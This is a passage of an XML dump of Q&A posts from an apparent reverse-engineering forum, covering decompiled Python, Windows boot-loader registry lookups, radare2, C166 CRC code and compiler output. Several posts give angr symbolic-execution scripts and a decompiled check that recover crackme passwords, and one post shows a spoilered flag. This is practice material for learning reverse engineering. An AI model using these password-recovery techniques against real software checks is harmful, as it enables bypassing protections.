30F8BBBA-710B-4BEC-A90B-49DFCEF05035&#xA;search/&#xA;    1AF85389-413A-4C21-8EF5-C0603033CBF8&#xA;thumbnail.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is likely the strokes are stored within the notes/ directory and separated by page (if an empty page is added the corresponding notes file is zero bytes)&lt;/li&gt;&#xA;&lt;li&gt;The files named by ID could be binary protobuf files, though I'm not sure and all efforts to reverse engineer the protobuf schema has failed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34223" LastEditorUserId="34223" LastEditDate="2020-08-25T08:23:57.400" LastActivityDate="2021-10-05T07:54:42.760" Title="How are strokes stored in the Goodnotes file format?" Tags="|file-format|ios|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="25732" PostTypeId="1" AcceptedAnswerId="25737" CreationDate="2020-08-24T14:57:45.750" Score="0" ViewCount="166" Body="&lt;p&gt;I decompiled a pyc file with uncompyle6, and this is the result:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# uncompyle6 version 3.7.3&#xA;# Python bytecode 3.6 (3379)&#xA;# Decompiled from: Python 3.6.9 (default, Aug 24 2020, 10:24:35) &#xA;# [GCC 9.3.0]&#xA;# Embedded file name: /dev/null/dev/null/dev/null/dev/null/crackme.py&#xA;# Compiled at: 2020-06-30 20:00:00&#xA;# Size of source mod 2**32: 545 bytes&#xA;import base64&#xA;from zlib import decompress as ᥤ&#xA;if __name__ == '__main__':&#xA;    input_ = input('Enter your password: ')&#xA;    password = base64.b64encode(input_.encode())&#xA;    Þåçѡӧґд = (b'x\xde\xad\xbe\xef^\x0b\xf6\xf5\r\nv\xf6\xf0\xa9\x0e\xa8,\xc90\xc8\x8bO\x8a,1\x8eO6H1\x8e7,\xf6+\x89/6N.-J\xad\x05\x00\xfc\xe3\rh').replace(b'\xde\xad\xbe\xef', b'')&#xA;    if base64.b64decode(password) == ᥤ(Þåçѡӧґд):&#xA;        print('The flag is', input_)&#xA;    else:&#xA;        print('Incorrect flag! Try reading my code…')&#xA;# okay decompiling /home/kali/jscu/reversing1/crackme.pyc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Clearly, the second password variable is gibberish, and I can't make much of the contents of that variable either. What could I try to make sense of this?&lt;/p&gt;&#xA;" OwnerUserId="34225" LastActivityDate="2020-08-24T22:15:06.637" Title="Python decompilation seems to return gibberish (partly)" Tags="|python|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25735" PostTypeId="2" ParentId="25728" CreationDate="2020-08-24T19:57:06.000" Score="1" Body="&lt;p&gt;As i Commented the query is vague&#xA;anyway just took a look and it doesn't seem to be overly complicated&lt;/p&gt;&#xA;&lt;p&gt;all this function seem to do is retrieve a few key values from registry&lt;/p&gt;&#xA;&lt;p&gt;basically it runs a loop like&lt;/p&gt;&#xA;&lt;p&gt;while (string) {&#xA;Create An Unicode string&#xA;open regkey-&amp;gt;onfail return false&#xA;get regvalue-&amp;gt;onfail return false&#xA;got to next string&#xA;}&#xA;return true&lt;/p&gt;&#xA;&lt;p&gt;these are the strings it accesses in win7 x86&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cdb -c &amp;quot;uf winload!CmpFindNlsData;q&amp;quot; -z c:\Windows\System32\winload.exe | grep -B 2 RtlInitUnicode&#xA;0046511c b8405c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465c40)&#xA;00465121 8d4df0          lea     ecx,[ebp-10h]&#xA;00465124 e88d28fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;--&#xA;00465144 b8b05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cb0)&#xA;00465149 8d4df0          lea     ecx,[ebp-10h]&#xA;0046514c e86528fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;--&#xA;0046516f b8c05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cc0)&#xA;00465174 8d4df0          lea     ecx,[ebp-10h]&#xA;00465177 e83a28fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;--&#xA;0046519e b8e05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465ce0)&#xA;004651a3 8d4df0          lea     ecx,[ebp-10h]&#xA;004651a6 e80b28fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;--&#xA;0046526a b8f05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cf0)&#xA;0046526f 8d4df0          lea     ecx,[ebp-10h]&#xA;00465272 e83f27fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;--&#xA;00465339 b8005d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d00)&#xA;0046533e 8d4df0          lea     ecx,[ebp-10h]&#xA;00465341 e87026fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;--&#xA;0046536b b8205d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d20)&#xA;00465370 8d4df0          lea     ecx,[ebp-10h]&#xA;00465373 e83e26fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;--&#xA;00465438 b8305d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d30)&#xA;0046543d 8d4df0          lea     ecx,[ebp-10h]&#xA;00465440 e87125fcff      call    winload!RtlInitUnicodeString (004279b6)&#xA;&#xA;C:\&amp;gt;cdb -c &amp;quot;uf winload!CmpFindNlsData;q&amp;quot; -z c:\Windows\System32\winload.exe | grep -B 2 RtlInitUnicode | grep PBO&#xA;0046511c b8405c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465c40)&#xA;00465144 b8b05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cb0)&#xA;0046516f b8c05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cc0)&#xA;0046519e b8e05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465ce0)&#xA;0046526a b8f05c4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465cf0)&#xA;00465339 b8005d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d00)&#xA;0046536b b8205d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d20)&#xA;00465438 b8305d4600      mov     eax,offset winload! ?? ::PBOPGDP::`string' (00465d30)&#xA;&#xA;&#xA;C:\&amp;gt;cdb -c &amp;quot;du 465c40;du 465cb0;du 465cc0;du 465ce0;du 465cf0;du 465d00;du 465d20;du 465d30;q&amp;quot; -z c:\Windows\System32\winload.exe | awk &amp;quot;/Reading/,/quit/&amp;quot;&#xA;0:000&amp;gt; cdb: Reading initial command 'du 465c40;du 465cb0;du 465cc0;du 465ce0;du 465cf0;du 465d00;du 465d20;du 465d30;q'&#xA;00465c40  &amp;quot;Control&amp;quot;&#xA;00465cb0  &amp;quot;NLS&amp;quot;&#xA;00465cc0  &amp;quot;CodePage&amp;quot;&#xA;00465ce0  &amp;quot;ACP&amp;quot;&#xA;00465cf0  &amp;quot;OEMCP&amp;quot;&#xA;00465d00  &amp;quot;Language&amp;quot;&#xA;00465d20  &amp;quot;Default&amp;quot;&#xA;00465d30  &amp;quot;OEMHAL&amp;quot;&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and these keys exist in hklm\system\currentcontrolset&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;reg query hklm\system\currentcontrolset\control\nls\codepage /v *cp*&#xA;&#xA;HKEY_LOCAL_MACHINE\system\currentcontrolset\control\nls\codepage&#xA;    ACP    REG_SZ    1252&#xA;    OEMCP    REG_SZ    437&#xA;    MACCP    REG_SZ    10000&#xA;&#xA;End of search: 3 match(es) found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;after finding these it returns the c_1252.nls, etc filenames in the respective out parameters&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-08-24T20:06:28.930" LastActivityDate="2020-08-24T20:06:28.930" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25736" PostTypeId="2" ParentId="25719" CreationDate="2020-08-24T21:06:20.543" Score="1" Body="&lt;p&gt;Providing you know the length of the flag (obtain for example from RE) you can modify your code in the following way:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import claripy&#xA;flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(15)]&#xA;flag = claripy.Concat(*flag_chars+[claripy.BVV(b'\n')])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That will create an array with 15 (in this example) bit vectors of the size of 8-bits. And on the following line we will concatenate them (+ new line value) to obtain one value that we can operate on.&lt;/p&gt;&#xA;&lt;p&gt;Next, we pass the flag to create our state.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; init_state = proj.factory.entry_state(stdin=flag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Having the init state, we can restrict the flag:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; for k in flag_chars:&#xA;     init_state.solver.add(k &amp;lt;= 0x7f)&#xA;     init_state.solver.add(k &amp;gt;= 0x20)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The rest stays the same.&lt;/p&gt;&#xA;&lt;p&gt;Full program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import claripy&#xA;&#xA;def main():&#xA;    proj = angr.Project('a.out')&#xA;    flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(15)]&#xA;    flag = claripy.Concat(*flag_chars+[claripy.BVV(b'\n')])&#xA;&#xA;    init_state = proj.factory.entry_state(stdin=flag)&#xA;&#xA;    for k in flag_chars:&#xA;        init_state.solver.add(k &amp;lt;= 0x7f)&#xA;        init_state.solver.add(k &amp;gt;= 0x20)&#xA;&#xA;    simulation = proj.factory.simgr(init_state)&#xA;    simulation.explore(find=lambda s: b&amp;quot;SUCCESS\n&amp;quot; in s.posix.dumps(1))&#xA;&#xA;    for solution in simulation.found:&#xA;        print(solution.posix.dumps(0), solution.posix.dumps(1))&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-08-24T21:06:20.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25737" PostTypeId="2" ParentId="25732" CreationDate="2020-08-24T22:15:06.637" Score="1" Body="&lt;p&gt;It’s not gibberish, the code is simply using non-ASCII variable names which is &lt;a href=&quot;https://docs.python.org/3/reference/lexical_analysis.html#identifiers&quot; rel=&quot;nofollow noreferrer&quot;&gt;perfectly fine in Python&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-08-24T22:15:06.637" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25738" PostTypeId="1" AcceptedAnswerId="25783" CreationDate="2020-08-24T23:08:18.483" Score="1" ViewCount="456" Body="&lt;p&gt;I'm new to reverse engineering and I've just recently learned about &lt;code&gt;angr&lt;/code&gt;, a framework that uses symbolic execution to get the input for a given output. I'm trying to complete a &lt;a href=&quot;https://crackmes.one/crackme/5e0fa43b33c5d419aa01351e&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackme&lt;/a&gt; using &lt;code&gt;angr&lt;/code&gt;. My code so far is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import claripy&#xA;&#xA;strlen = 10&#xA;base_addr = 0x00000000&#xA;&#xA;flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(strlen)]&#xA;flag = claripy.Concat(*flag_chars)&#xA;&#xA;proj = angr.Project(&amp;quot;./d4rkfl0w-Crackme-4&amp;quot;, main_opts={'base_addr': base_addr})&#xA;state = proj.factory.full_init_state(args=[&amp;quot;./d4rkfl0w-Crackme-4&amp;quot;], add_options=angr.options.unicorn, stdin=flag)&#xA;state.memory.store(state.regs.rbp-0x8, flag)&#xA;&#xA;for k in flag_chars:&#xA;    state.solver.add(k &amp;gt; 0x20)&#xA;    state.solver.add(k &amp;lt; 0x7e)&#xA;&#xA;sm = proj.factory.simulation_manager(state)&#xA;sm.run()&#xA;&#xA;for de in sm.deadended:&#xA;    print(de.posix.dumps(0), de.posix.dumps(1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The output is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; python3 test.py &#xA;WARNING | 2020-08-24 18:55:24,821 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.&#xA;WARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:&#xA;WARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state&#xA;WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null&#xA;WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.&#xA;WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 64 unconstrained bytes referenced from 0x38e0d0 (strlen+0x0 in libc.so.6 (0x8e0d0))&#xA;b'((0$0(0(0(' b'\nPlease enter the password: \nSorry that is incorrect.\n'&#xA;b'0(0$0(:(((' b'\nPlease enter the password: \nSorry that is incorrect.\n'&#xA;b'U($&amp;gt;&amp;quot;(:($(' b'\nPlease enter the password: \nSorry that is incorrect.\n'&#xA;b'U(6&amp;gt;$(:(0(' b'\nPlease enter the password: \nSorry that is incorrect.\n'&#xA;b'U(6&amp;gt;-(:($(' b'\nPlease enter the password: \nSorry that is incorrect.\n'&#xA;b'U(6$-(:(Y(' b'\nPlease enter the password: \nSorry that is incorrect.\n'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should be a relatively easy crackme (I had solved it with static analysis already and I want to get the flag a different way). Am I doing something wrong in the code?&lt;/p&gt;&#xA;&lt;p&gt;The actual flag should be:&lt;/p&gt;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;&lt;p&gt; U6-:YL.&amp;quot;+&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="34230" LastActivityDate="2020-08-31T00:49:43.457" Title="Basic `angr` framework question- is something wrong with my solver?" Tags="|crackme|angr|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25739" PostTypeId="2" ParentId="22030" CreationDate="2020-08-24T23:56:16.187" Score="1" Body="&lt;p&gt;To type two inputs of&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;aaa&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;as expected in your first example, write&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/rarun2&#xA;stdin=&amp;quot;aaa\naaa\n&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in a file &lt;code&gt;script.rr2&lt;/code&gt;. Then do &lt;code&gt;radare2 -r script.rr2 -d [your program to debug]&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25421" LastActivityDate="2020-08-24T23:56:16.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25740" PostTypeId="1" CreationDate="2020-08-25T03:06:53.850" Score="0" ViewCount="316" Body="&lt;p&gt;I know this question may be an ambiguous one and so may not be straightforward, so I apologize for that. Nevertheless, I believe that anti-debugging is responsible for the constant crashing of the program whenever the breakpoint is hit but I am not sure.&lt;/p&gt;&#xA;&lt;p&gt;I have tried to use other debugging tools but still the same trouble I am getting. So I believe whatever is going on is specific to the way the program is working. So any ideas as to what is responsible for this and how do I go around it&lt;/p&gt;&#xA;" OwnerUserId="30581" LastActivityDate="2020-08-25T03:06:53.850" Title="What's the reason for a program to crash every time a breakpoint is set in x64dbg?" Tags="|x64dbg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25744" PostTypeId="1" CreationDate="2020-08-25T18:07:31.443" Score="1" ViewCount="451" Body="&lt;p&gt;I have some rare cases with radare2.&lt;/p&gt;&#xA;&lt;p&gt;when I try to display all string using &lt;strong&gt;&amp;quot;iz&amp;quot;&lt;/strong&gt; it does the job.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qvfhR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qvfhR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but when I do &lt;strong&gt;&amp;quot;pdf&amp;quot;&lt;/strong&gt; or &lt;strong&gt;&amp;quot;pd&amp;quot;&lt;/strong&gt; I can't see actual value of string:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xf4eF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xf4eF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I see &lt;em&gt;int puts(const char *s)&lt;/em&gt; &lt;strong&gt;instead of &amp;quot;incorrect password&amp;quot; or &amp;quot;Access granted!&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="34238" LastActivityDate="2020-10-07T23:00:20.110" Title="radare2 - radare2 doesn't display string value" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25745" PostTypeId="1" AcceptedAnswerId="25748" CreationDate="2020-08-25T19:23:00.337" Score="2" ViewCount="222" Body="&lt;p&gt;I'm currently using radare2 in order to construct a simple CFG, each block/node in that graph is composed of one or more assembly instructions, I wish to estimate the value of specific register or stack position as best as I can.&lt;/p&gt;&#xA;&lt;p&gt;Few examples:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;xor rax, rax&#xA;inc rax&#xA;; Given these instructions, solve(rax) =&amp;gt; 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov rcx, 3&#xA;mov rbx, rcx&#xA;mov rax, rbx&#xA;; Given the instructions above, solve(rax) =&amp;gt; 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov rbx, rcx&#xA;mov rax, rbx&#xA;; Given the instructions above, solve(rax) =&amp;gt; Unknown&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Example 4:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mov rdx, 1&#xA;shl rdx, 2&#xA;add rdx, 3&#xA;mov [rsp], rdx&#xA;; Given the instructions above, solve([rsp]) =&amp;gt; 7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm looking for a simple Python example to start with, which either takes opcodes directly or and address and evaluates/solve for specific register/stack position.&lt;/p&gt;&#xA;&lt;p&gt;I've already looked into some symbolic execution examples, which looks like what I need, but I'm pretty new to this so a simple working example would really help.&lt;/p&gt;&#xA;" OwnerUserId="34102" LastActivityDate="2020-08-26T06:22:01.047" Title="Using angr/radare2 to estimate values given chunks of assembly" Tags="|radare2|python|angr|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25747" PostTypeId="1" CreationDate="2020-08-26T04:48:39.713" Score="1" ViewCount="700" Body="&lt;p&gt;Recently I try to reverse piece of assembly code that written for C166/C167 Arch.&#xA;But I have a problem with some places for convert to &lt;code&gt;C&lt;/code&gt; code, such as:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;loc_1892:&#xA;mov     r9, #4&#xA;add     r9, r0&#xA;mov     r12, #0FFFFh&#xA;mov     r4, r9&#xA;add     r4, #2&#xA;calls   0, sub_37C2&#xA;mov     r13, r4&#xA;mov     r14, r5&#xA;mov     r15, #6&#xA;calls   0, CRC_16_Calculate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in &lt;code&gt;sub_37C2&lt;/code&gt; :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sub_37C2:&#xA;mov     r5, r4&#xA;shr     r5, #14&#xA;shl     r5, #1&#xA;mov     r5, [r5+0FE00h] ; ==&amp;gt; Or DPP0&#xA;bmov    r4.14, r5.0&#xA;bmov    r4.15, r5.1&#xA;shr     r5, #2&#xA;rets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;also in &lt;code&gt;CRC_16_Calculate&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;loc_29A4:&#xA;mov     r4, r13&#xA;mov     r5, r14&#xA;add     r13, #1&#xA;addc    r14, #0&#xA;exts    r5, #1&#xA;movb    rl3, [r4]&#xA;movbz   r7, rl3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I guess in &lt;code&gt;sub_37C2&lt;/code&gt; code try to convert the near address to far. But I can't convert this to C code correctly.&#xA;My CRC16 implementation shown below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;static uint16_t Crc16(uint8_t* cBuffer, uint16_t iBufLen, uint16_t wPreset)&#xA;{&#xA;    uint16_t temp;&#xA;    while (iBufLen--)&#xA;    {&#xA;        temp = *cBuffer++;&#xA;        for (uint8_t j = 0; j &amp;lt; 8; ++j)&#xA;        {&#xA;            if ((wPreset ^ temp) &amp;amp; 0x01) wPreset = (wPreset &amp;gt;&amp;gt; 1) ^ 0xA001;&#xA;            else wPreset &amp;gt;&amp;gt;= 1;&#xA;            temp &amp;gt;&amp;gt;= 1;&#xA;        }&#xA;    }&#xA;    return wPreset;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you see, I convert &lt;code&gt;loc_29A4&lt;/code&gt; to &lt;code&gt;temp = *cBuffer++&lt;/code&gt; where &lt;code&gt;temp&lt;/code&gt; is &lt;code&gt;uint16&lt;/code&gt; but &lt;code&gt;cBuffer&lt;/code&gt; is &lt;code&gt;uint8_t&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31110" LastEditorUserId="31110" LastEditDate="2020-08-26T07:20:40.093" LastActivityDate="2020-08-26T07:20:40.093" Title="C166/C167 code analyzing" Tags="|ida|disassembly|c++|c|c166|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25748" PostTypeId="2" ParentId="25745" CreationDate="2020-08-26T06:22:01.047" Score="2" Body="&lt;p&gt;Here is a small angr script that can do so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;proj = angr.Project('...path...')&#xA;state = proj.factory.blank_state(addr=0x0804EA9E)&#xA;simulation = proj.factory.simgr(state)&#xA;ret = simulation.explore(find=0x0804EAA3)&#xA;print(ret.found[0].regs.ecx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Between the addresses &lt;code&gt;0x0804EA9E&lt;/code&gt; to &lt;code&gt;0x0804EAA3&lt;/code&gt; I've got &lt;code&gt;mov ecx, 0Ah&lt;/code&gt; so I get: &lt;code&gt;&amp;lt;BV32 0xa&amp;gt;&lt;/code&gt; from the print.&lt;/p&gt;&#xA;&lt;p&gt;I know its not much, but as I've said, I'm new. And hopefully this simple script will help others.&lt;/p&gt;&#xA;&lt;p&gt;Really good resources to start with:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.angr.io/core-concepts/states#state-presets&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.angr.io/core-concepts/states#state-presets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.notso.pro/2019-03-20-angr-introduction-part0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.notso.pro/2019-03-20-angr-introduction-part0/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="34102" LastActivityDate="2020-08-26T06:22:01.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25749" PostTypeId="1" AcceptedAnswerId="25751" CreationDate="2020-08-26T09:43:36.093" Score="0" ViewCount="69" Body="&lt;p&gt;I'm reverse engineering a C++ binary using IDA, and there's one function that I don't quite understand.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;x = dword ptr -8&#xA;var_4 = dword ptr -4&#xA;&#xA;push    rbp&#xA;movss   rbp, rsp&#xA;sub     rsp, 10h&#xA;movss   [rbp+var_4], xmm0&#xA;mov     eax, [rbp+var_4]&#xA;mov     [rbp+x], eax&#xA;movss   xmm0, [rbp+x]&#xA;call    _sinf&#xA;leave&#xA;retn &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The eax register is overwritten right away, and I can't imagine that eax was loaded to pass as an argument to &amp;quot;sinf&amp;quot;. What's the use of this? Or is it just a weird compiler optimization?&lt;/p&gt;&#xA;" OwnerUserId="34225" LastActivityDate="2020-08-26T10:11:47.730" Title="What is the use of moving a variable 3 times only to pass it back to the original register, with no calculations in between?" Tags="|ida|gcc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25751" PostTypeId="2" ParentId="25749" CreationDate="2020-08-26T10:11:47.730" Score="0" Body="&lt;p&gt;It looks like that the binary has been compiled without optimization. With optimization enabled the redundant instructions would have been removed. A similar example is shown below.&lt;/p&gt;&#xA;&lt;p&gt;Compiler:  &lt;a href=&quot;https://godbolt.org/z/Ye9WK9&quot; rel=&quot;nofollow noreferrer&quot;&gt;GCC 7.5 for x86-64 on Compiler Explorer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Original code&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;math.h&amp;gt;&#xA;&#xA;float calculate(float v)&#xA;{&#xA;    return sinf(v);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;No optimization (-O0)&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;calculate(float):&#xA;        push    rbp&#xA;        mov     rbp, rsp&#xA;        sub     rsp, 16&#xA;        movss   DWORD PTR [rbp-4], xmm0&#xA;        mov     eax, DWORD PTR [rbp-4]&#xA;        mov     DWORD PTR [rbp-8], eax&#xA;        movss   xmm0, DWORD PTR [rbp-8]&#xA;        call    sinf&#xA;        leave&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;-O1&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;calculate(float):&#xA;        sub     rsp, 8&#xA;        call    sinf&#xA;        add     rsp, 8&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3&gt;-O2/-O3&lt;/h3&gt;&#xA;&lt;pre&gt;&lt;code&gt;calculate(float):&#xA;        jmp     sinf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you can see above, the redundant moves are generated only when optimizations aren't enabled. With higher levels, it progressively leads to smaller code.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2020-08-26T10:11:47.730" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25752" PostTypeId="1" AcceptedAnswerId="25753" CreationDate="2020-08-26T13:16:49.060" Score="1" ViewCount="582" Body="&lt;p&gt;What is physical address on a Pe file? I had search on the microsoft website article about pe files and don't have found anything.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3QcXS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3QcXS.png&quot; alt=&quot;Pe Reader&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34203" LastEditorUserId="34203" LastEditDate="2020-08-26T15:25:35.677" LastActivityDate="2020-08-26T16:59:28.380" Title="What is physical address on a pe reader?" Tags="|disassembly|windows|assembly|ollydbg|pe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
